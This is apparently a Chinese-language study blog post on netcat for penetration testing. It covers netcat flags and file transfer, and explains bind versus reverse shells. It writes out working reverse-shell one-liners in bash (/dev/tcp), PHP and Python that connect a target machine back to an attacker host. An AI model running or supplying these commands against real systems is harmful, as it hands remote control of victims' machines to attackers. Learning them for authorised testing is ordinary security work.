栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

渗透由简入深之netcat 学习

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

渗透由简入深之netcat 学习

netcat (NC,瑞士军刀)

一、基本参数描述:
        -h 帮助信息 
        -i secs 延时的间隔 
        -l 监听模式,用于入站连接 
        -L 连接关闭后,仍然继续监听 
        -n 指定数字的IP地址,不能域名服务器
        -o file 记录16进制的传输 
        -p port 本地端口号
        -r 随机本地及远程端口 
        -s addr 本地源地址 
        -t 使用TELNET交互方式 
        -u UDP模式                     
        -v 详细输出--用两个-v可得到更详细的内容 
        -w secs timeout的时间 
        -z 将输入输出关掉--用于扫描时 

二、用法和注意事项:

        1、nc监听的端口必须未被其他程序占用 

        2、实现连接通讯

                服务端 nc -lnvp [端口]

                客户端 nc ip [端口]

        3、文件传入 2进制传输+服务端文件写入

                 服务端 nc -lvp [端口] >[写入文件] |

                客户端 nc [ip][端口] <[发送的文件]
        4、直接使用 socket连接通信

三、shell(正向shell和反向shell)

        正向shell:攻击机连接靶机,攻击机作为客户端,靶机作为服务器,攻击机主动

                           连接靶机。

                           缺点:靶机如果有waf或者做了策略基本连不上。

        反向shell:靶机连接攻击机,靶机作为客户端主动连接上作为服务端的攻击机。

                           优点:便于实战使用,不会因为靶机有防火墙而无法连接。

        反向shell的渗透思路:命令执行漏洞 ,木马的方式 等。

四、反向shell深入学习

        首先需要弄明白linux底层的io设置,文件描述符,后面代码中会用到这些参数

               io设置       0:标准输入,1:标准输出,2:标准错误输出

      想更深入了解linux io可以查看:&1的含义解释 (全网最全,看完就懂)_业精于勤,荒于嬉;行成于思,毁于随-CSDN博客_2>$1">Linux shell中2>&1的含义解释 (全网最全,看完就懂)_业精于勤,荒于嬉;行成于思,毁于随-CSDN博客_2>$1A.首先了解下1和2在Linux中代表什么 名称 代码 操作符 Java中表示 Linux 下文件描述符(Debian 为例) 标准输入(stdin) 0 &amp;lt; 或 &amp;lt;&amp;lt; System.in /dev/stdin -&amp;gt; /proc/self/fd/0 -&amp;gt; /dev/pts/0 标准输出(stdouthttps://blog.csdn.net/zhaominpro/article/details/82630528      想了解linux文件描述符可以查看:

文件描述符终极使用_合天网安学院-CSDN博客0x01 文件描述符介绍Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,...https://blog.csdn.net/qq_38154820/article/details/106330226

        linux没有安装编程语言的情况下直接用bash连接
                                                        

    bash -i>& /dev/tcp/目标IP/目标端口 0>&1

          注:-i  是指可以交互

                0>&1 意思是将标准输出的内容引用赋值给标准输入 ,也可以理解成攻击机输出的内容                  变成靶机的输入。

        linux安装php的环境可以用php连接

                直接使用shell:

        php -r 'exec('/bash -i >& /dev/tcp/目标IP/目标端口 0>&1');'

          注:-i :是指可以交互

                0>&1 意思是将标准输出的内容引用赋值给标准输入 ,也可以理解成攻击机输出的内容                  变成靶机的输入。

                使用socket :

        php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");' 

                  注:

                        -r :运行PHP代码,而无需使用脚本标记

                        <&3 >&3 2>&3  意思 输入输出到文件描述符3上,然后把文件描述符3上的内容

                        输出到2上(标准错误),防止意外所以不直接写到1上

        linux安装python的环境可以用python连接

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

                注:-c是创建单号命令,

                        首先导入socket,subprocess,os这3个包,

                        连接socket,

                        os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); 

                        os.dup2(s.fileno(), 2);将socket上的数据复制到linux中io的012

                        其中s.fileno() 返回socket的文件描述符,

                        最后然后再创建子进程运行shell 

以上均为本人初学的学习理解如有错误敬请谅解并希望指出,本人拜谢

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/747050.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号